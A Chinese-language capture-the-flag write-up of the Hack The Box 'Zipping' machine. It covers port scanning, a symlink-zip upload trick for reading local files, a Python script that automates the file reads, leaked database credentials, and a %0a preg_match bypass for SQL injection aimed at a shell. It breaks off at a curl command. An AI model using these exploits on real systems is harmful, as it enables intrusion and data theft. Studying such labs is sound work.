PS C:\Users\dell> date
2023年9月9日 11:30:03
Use
nmap
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# nmap -p- --min-rate 10000 10.10.11.229 130 ⨯
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-08 23:28 EDT
Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 95.48% done; ETC: 23:28 (0:00:01 remaining)
Nmap scan report for 10.10.11.229
Host is up (1.5s latency).
Not shown: 57217 closed tcp ports (reset), 8316 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 63.04 seconds
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# nmap -p 22,80 -sCV -O 10.10.11.229 -oA scan/detail
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-08 23:31 EDT
Nmap scan report for 10.10.11.229
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)
|_ 256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.24 seconds
经典两端口
22, 80 ,直接开80
web
查看源代码 href 属性,只有一个地方有非锚点的内容,就是 upload.php,在对应搜php,相关的内容,没有多余的内容了,所以,我们可以知道该站是php写的,扫一下目录
┌──(root💀kali)-[~]
└─# dirsearch -u http://zipping.htb -e php
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940
Output File: /root/.dirsearch/reports/zipping.htb/_23-09-08_23-39-55.txt
Error Log: /root/.dirsearch/logs/errors-23-09-08_23-39-55.log
Target: http://zipping.htb/
[23:39:56] Starting:
[23:40:09] 403 - 276B - /.ht_wsr.txt
[23:40:09] 403 - 276B - /.htaccess.bak1
[23:40:09] 403 - 276B - /.htaccess.orig
[23:40:09] 403 - 276B - /.htaccess.save
[23:40:09] 403 - 276B - /.htaccessOLD2
[23:40:09] 403 - 276B - /.htaccess.sample
[23:40:09] 403 - 276B - /.htaccess_sc
[23:40:09] 403 - 276B - /.htaccessOLD
[23:40:09] 403 - 276B - /.htaccess_orig
[23:40:09] 403 - 276B - /.htaccessBAK
[23:40:09] 403 - 276B - /.htaccess_extra
[23:40:09] 403 - 276B - /.htm
[23:40:09] 403 - 276B - /.html
[23:40:09] 403 - 276B - /.htpasswd_test
[23:40:09] 403 - 276B - /.httr-oauth
[23:40:09] 403 - 276B - /.htpasswds
[23:40:14] 403 - 276B - /.php
[23:41:08] 301 - 311B - /assets -> http://zipping.htb/assets/
[23:41:08] 200 - 2KB - /assets/
[23:41:45] 200 - 16KB - /index.php
[23:41:46] 200 - 16KB - /index.php/login/
[23:42:25] 403 - 276B - /server-status
[23:42:25] 403 - 276B - /server-status/
[23:42:30] 301 - 309B - /shop -> http://zipping.htb/shop/
[23:42:47] 200 - 5KB - /upload.php
[23:42:47] 301 - 312B - /uploads -> http://zipping.htb/uploads/
[23:42:48] 403 - 276B - /uploads/
这个点,是上传一个文件,我们尝试一下,介绍说了,只能上传zip,并且需要有一个pdf在里面 包含你的课程内容
上传之后会返回一个pdf的路径
我尝试一个压缩吧里面塞两个文件,一个pdf,一个php,我们得到回显只能存在一个pdf文件
link 文件 - LFI
尝试把pdf换成link文件
Refer: https://book.hacktricks.xyz/pentesting-web/file-upload#symlink
下面是zip 命令的其中一个参数,
--symlinks
For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred
to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses
files directly and by links.
大概的意思就是用了这个参数,打在压缩包的时候,是一个链接文件,而不是链接的目标文件
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# ln -rs /etc/passwd 1.pdf
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# zip --symlinks 1.zip 1.pdf
updating: 1.pdf (stored 0%)
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# ls
1.pdf 1.zip passwd scan
上传这个1.zip 的文件
可以进行文件包含
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# cat passwd | grep sh | grep -v no
root:x:0:0:root:/root:/bin/bash
rektsu:x:1001:1001::/home/rektsu:/bin/bash
这样就可以进行本地文件读取了
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# echo 1 > /var/www/html/upload.php 130 ⨯
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# ln -rs /var/www/html/upload.php upload.pdf
ln: failed to create symbolic link 'upload.pdf': File exists
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# rm upload.pdf 1 ⨯
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# ln -rs /var/www/html/upload.php upload.pdf
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# ls
1 1.zip passwd scan upload.pdf upload.php
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# rm 1.zip
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# zip --symlinks 1.zip upload.pdf
adding: upload.pdf (stored 0%)
利用这个方式把,upload.php 的源代码读取出来
<html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Start your development with Creative Design landing page.">
<meta name="author" content="Devcrud">
<title>Zipping | Watch store</title>
<!-- font icons -->
<link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css">
<!-- Bootstrap + Creative Design main styles -->
<link rel="stylesheet" href="assets/css/creative-design.css">
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home">
<!-- Page Header -->
<header class="header header-mini">
<div class="header-title">Work with Us</div>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="index.php">Home</a></li>
<li class="breadcrumb-item active" aria-current="page">Work with Us</li>
</ol>
</nav>
</header> <!-- End Of Page Header -->
<section id="work" class="text-center">
<!-- container -->
<div class="container">
<h1>WORK WITH US</h1>
<p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.</p>
<?php
if (isset($_POST["submit"])) {
// Get the uploaded zip file
$zipFile = $_FILES["zipFile"]["tmp_name"];
if ($_FILES["zipFile"]["size"] > 300000) {
echo "<p>File size must be less than 300,000 bytes.</p>";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
$tmpDir = sys_get_temp_dir();
// Extract the files from the zip
$zip = new ZipArchive();
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo "<p>Please include a single PDF file in the archive.<p>";
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
$uploadPath = $tmpDir . "/" . $uploadDir;
echo exec(
"7z e " . $zipFile . " -o" . $uploadPath . ">/dev/null"
);
if (file_exists($uploadPath . $fileName)) {
mkdir($uploadDir);
rename($uploadPath . $fileName, $uploadDir . $fileName);
}
echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="' .
$uploadDir .
$fileName .
'">' .
$uploadDir .
$fileName .
"</a>" .
"</p>";
} else {
echo "<p>The unzipped file must have a .pdf extension.</p>";
}
}
} else {
echo "Error uploading file.";
}
}
}
?>
<!-- Submit File -->
<form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php">
<div class="mb-3">
<input type="file" class="form-control" name="zipFile" accept=".zip">
</div>
<button type="submit" class="btn btn-primary" name="submit">Upload</button>
</form><!-- End submit file -->
</div><!-- End of Container-->
</section><!-- End of Contact Section -->
<!-- Section -->
<section class="pb-0">
<!-- Container -->
<div class="container">
<!-- Pre footer -->
<div class="pre-footer">
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">ABOUT US</h6>
</li>
<li class="list-body">
<p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p>
<a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a>
</li>
</ul>
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">USEFUL LINKS</h6>
</li>
<li class="list-body">
<div class="row">
<div class="col">
<a href="#">Link 1</a>
<a href="#">Link 2</a>
<a href="#">Link 3</a>
<a href="#">Link 4</a>
</div>
<div class="col">
<a href="#">Link 5</a>
<a href="#">Link 6</a>
<a href="#">Link 7</a>
<a href="#">Link 8</a>
</div>
</div>
</li>
</ul>
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">CONTACT INFO</h6>
</li>
<li class="list-body">
<p>Contact us and we'll get back to you within 24 hours.</p>
<p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p>
<p><i class="ti-email"></i> info@website.com</p>
<div class="social-links">
<a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-google"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a>
</div>
</li>
</ul>
</div><!-- End of Pre footer -->
<!-- foooter -->
<footer class="footer">
<p>Made by <a href="https://github.com/xdann1">xDaNN1</p>
</footer><!-- End of Footer-->
</div><!--End of Container -->
</section><!-- End of Section -->
</body>
</html>
简单审计过后,if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf")
代码中是通过这个方式来获取文件后缀名的,如果我们尝试在文件名中使用\x00
这样的符号来截断字符串,是不是有可能就有可能拿到webshell , 比如 shell.php\00.pdf
尝试过后,发现并上传不了shell,后面有消息得知官方修复了这一条路径
左边为patch 前
LFI.py
import os
from bs4 import BeautifulSoup
import requests
import shutil
if os.path.exists("tmp"):
shutil.rmtree("tmp")
if os.path.exists("sym.zip"):
os.remove("sym.zip")
if os.path.exists("symlink.pdf"):
os.remove("symlink.pdf")
if not os.path.exists("tmp"):
os.mkdir("tmp")
file_to_read = input("File to read: ")
print("Creating symlink..")
os.chdir("tmp/")
os.system(f"ln -s {file_to_read} symlink.pdf")
print("Zipping..")
os.system(f"zip -r --symlinks sym.zip symlink.pdf")
os.system(f"rm symlink.pdf && cp sym.zip ../")
print("Done! Zip file: sym.zip")
print("Uploading file..")
MIP = "10.10.11.229"
file = {'zipFile': ('sym.zip', open('sym.zip','rb'),'application/zip'),
'submit': (None,'')
}
headers = {"Host":MIP,"User-Agent":"Mozilla/5.0 (X11;Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"}
s = requests.Session()
r = s.get(f"http://{MIP}",headers=headers)
r = s.get(f"http://{MIP}/upload.php", headers=headers)
r = s.post(f"http://{MIP}/upload.php",files=file,headers=headers)
soup = BeautifulSoup(r.text,features="lxml")
uuid=""
for a in soup.find_all("a",href=True):
if "uploads" in a['href']:
uuid = a['href'].split("/")[1]
print("File UUID: ",uuid)
print("\nReading file..")
r = s.get(f"http://{MIP}/uploads/{uuid}/symlink.pdf")
print(r.text)
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# python3 exp.py
File to read: /etc/passwd
Creating symlink..
Zipping..
adding: symlink.pdf (stored 0%)
Done! Zip file: sym.zip
Uploading file..
File UUID: f5439a569446382315e4b406a7633fa5
Reading file..
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
通过这个脚本,可以很方便的读取文件
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# python3 exp.py
File to read: /var/www/html/shop/index.php
Creating symlink..
Zipping..
adding: symlink.pdf (stored 0%)
Done! Zip file: sym.zip
Uploading file..
File UUID: 0fceede2a1f56ec8d41c2f5815af39c8
Reading file..
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# python3 exp.py
File to read: /var/www/html/shop/functions.php
Creating symlink..
Zipping..
adding: symlink.pdf (stored 0%)
Done! Zip file: sym.zip
Uploading file..
File UUID: 1c9a1c578b7600c96139f25f0e072db2
Reading file..
<?php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>$title</title>
<link href="assets/style.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
</head>
<body>
<header>
<div class="content-wrapper">
<a href=".." style="text-decoration: none;"><h1>Zipping Watch Store</h1></a>
<nav>
<a href="index.php">Home</a>
<a href="index.php?page=products">Products</a>
</nav>
<div class="link-icons">
<a href="index.php?page=cart">
<i class="fas fa-shopping-cart"></i>
<span>$num_items_in_cart</span>
</a>
</div>
</div>
</header>
<main>
EOT;
}
// Template footer
function template_footer() {
$year = date('Y');
echo <<<EOT
</main>
<footer>
<div class="content-wrapper">
<p>© $year, Zipping Watch Store</p>
</div>
</footer>
</body>
</html>
EOT;
}
?>
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
<?php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>$title</title>
<link href="assets/style.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
</head>
<body>
<header>
<div class="content-wrapper">
<a href=".." style="text-decoration: none;"><h1>Zipping Watch Store</h1></a>
<nav>
<a href="index.php">Home</a>
<a href="index.php?page=products">Products</a>
</nav>
<div class="link-icons">
<a href="index.php?page=cart">
<i class="fas fa-shopping-cart"></i>
<span>$num_items_in_cart</span>
</a>
</div>
</div>
</header>
<main>
EOT;
}
// Template footer
function template_footer() {
$year = date('Y');
echo <<<EOT
</main>
<footer>
<div class="content-wrapper">
<p>© $year, Zipping Watch Store</p>
</div>
</footer>
</body>
</html>
EOT;
}
?>
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
<?=template_header('Zipping | Product')?>
<div class="product content-wrapper">
<img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
<div>
<h1 class="name"><?=$product['name']?></h1>
<span class="price">
$<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">$<?=$product['rrp']?></span>
<?php endif; ?>
</span>
<form action="index.php?page=cart" method="post">
<input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
<input type="hidden" name="product_id" value="<?=$product['id']?>">
<input type="submit" value="Add To Cart">
</form>
<div class="description">
<?=$product['desc']?>
</div>
</div>
</div>
<?=template_footer()?>
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# python3 exp.py
File to read: /var/www/html/shop/cart.php
Creating symlink..
Zipping..
adding: symlink.pdf (stored 0%)
Done! Zip file: sym.zip
Uploading file..
File UUID: 08347a0de79cdb3465a4def4d2b264cd
Reading file..
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}
// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {
// Remove the product from the shopping cart
unset($_SESSION['cart'][$_GET['remove']]);
}
// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
// Loop through the post data so we can update the quantities for every product in cart
foreach ($_POST as $k => $v) {
if (strpos($k, 'quantity') !== false && is_numeric($v)) {
$id = str_replace('quantity-', '', $k);
$quantity = (int)$v;
// Always do checks and validation
if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
// Update new quantity
$_SESSION['cart'][$id] = $quantity;
}
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
header('Location: index.php?page=placeorder');
exit;
}
if (isset($_POST['clear'])) {
unset($_SESSION['cart']);
}
// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
// There are products in the cart so we need to select those products from the database
// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
// We only need the array keys, not the values, the keys are the id's of the products
$stmt->execute(array_keys($products_in_cart));
// Fetch the products from the database and return the result as an Array
$products = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Calculate the subtotal
foreach ($products as $product) {
$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
}
}
?>
<?=template_header('Zipping | Cart')?>
<div class="cart content-wrapper">
<h1>Shopping Cart</h1>
<form action="index.php?page=cart" method="post">
<table>
<thead>
<tr>
<td colspan="2">Product</td>
<td>Price</td>
<td>Quantity</td>
<td>Total</td>
</tr>
</thead>
<tbody>
<?php if (empty($products)): ?>
<tr>
<td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td>
</tr>
<?php else: ?>
<?php foreach ($products as $product): ?>
<tr>
<td class="img">
<a href="index.php?page=product&id=<?=$product['id']?>">
<img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>">
</a>
</td>
<td>
<a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a>
<br>
<a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a>
</td>
<td class="price">$<?=$product['price']?></td>
<td class="quantity">
<input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
</td>
<td class="price">$<?=$product['price'] * $products_in_cart[$product['id']]?></td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</tbody>
</table>
<div class="subtotal">
<span class="text">Subtotal</span>
<span class="price">$<?=$subtotal?></span>
</div>
<div class="buttons">
<input type="submit" value="Update" name="update">
<input type="submit" value="Place Order" name="placeorder">
<input type="submit" value="Clear" name="clear" onsubmit="">
</div>
</form>
</div>
<?=template_footer()?>
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/Zipping]
└─# python3 exp.py
File to read: /var/www/html/shop/home.php
Creating symlink..
Zipping..
adding: symlink.pdf (stored 0%)
Done! Zip file: sym.zip
Uploading file..
File UUID: dbf17dfb996eb5d0e96c45a4947877d4
Reading file..
<?php
// Get the 4 most recently added products
$stmt = $pdo->prepare('SELECT * FROM products ORDER BY date_added DESC LIMIT 4');
$stmt->execute();
$recently_added_products = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?=template_header('Zipping | Home')?>
<div class="featured">
<h2>Watches</h2>
<p>The perfect watch for every occasion</p>
</div>
<div class="recentlyadded content-wrapper">
<h2>Recently Added Products</h2>
<div class="products">
<?php foreach ($recently_added_products as $product): ?>
<a href="index.php?page=product&id=<?=$product['id']?>" class="product">
<img src="assets/imgs/<?=$product['img']?>" width="200" height="200" alt="<?=$product['name']?>">
<span class="name"><?=$product['name']?></span>
<span class="price">
$<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">$<?=$product['rrp']?></span>
<?php endif; ?>
</span>
</a>
<?php endforeach; ?>
</div>
</div>
<?=template_footer()?>
sqlI-preg_match bypass
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
看了一圈,只有这个sql执行不是预编译,cart.php
,有可能可以sql注入,但是这里有一个preg_match
想办法bypass
Refer: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#preg_match-.
我们要绕过这个preg_match,只需要在payload 前面输入%0a,就能绕过检测了,
但是注意这个 preg_match,会检查最后一个字符是以数字结尾的所以我们的payload,需要以数字结尾
并且我们写文件的路径需要是mysql可以写的目录
即 secure_file_priv 这个变量的值,在linux下,默认路径基本上都是 /var/lib/mysql
再通过文件包含,就能getshell
curl -i -s -k -X $'POST' \
